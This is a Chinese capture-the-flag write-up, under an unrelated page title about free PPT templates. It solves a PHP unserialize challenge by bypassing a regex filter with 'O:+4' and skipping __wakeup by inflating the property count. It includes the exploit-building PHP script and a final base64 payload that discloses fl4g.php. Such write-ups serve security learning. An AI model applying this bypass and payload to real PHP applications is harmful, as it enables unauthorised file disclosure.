1. 程式人生 > 實用技巧 >1萬套精選PPT模板百度雲資源,免費下載!

1萬套精選PPT模板百度雲資源,免費下載!

開啟題目,就可以審計程式碼,是一個反序列化的題目

我們先貼原始碼吧

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
?>

  首先定義了一個demo類,然後發現初始化改變file值,而且,有一段註釋:the secret is in the fl4g.php

如果demo類被銷燬,則會高亮顯示file所指向的檔案的類容

demo中還有一個魔法函式就是_wakeup(),這個函式作用就是反序列化時,會自動執行,所以想反序列化,那麼必須要繞過這個函式,繞過這個函式很簡單,只要我們的實際引數小於當前引數的個數就可以繞過。

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

  這裡進行了變數的傳入,使用的方法時get傳參

1. 首先base64加密

2.使用了preg_match()匹配函式,如果匹配上了,就結束。如果沒有則就將這個物件反序列化

所以這裡要想辦法繞過這個匹配函式。preg_match()匹配的為o或c:任意長度數字(至少一個) i表示匹配時不區分大小寫

接下來我們先將所給的類反序列化

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//繞過preg_match()
$x=str_replace(':1:', ':3:',$x);//繞過__wakeup()
echo base64_encode($x);
?>

  結果:TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

將這個base64程式碼傳參給var得到flag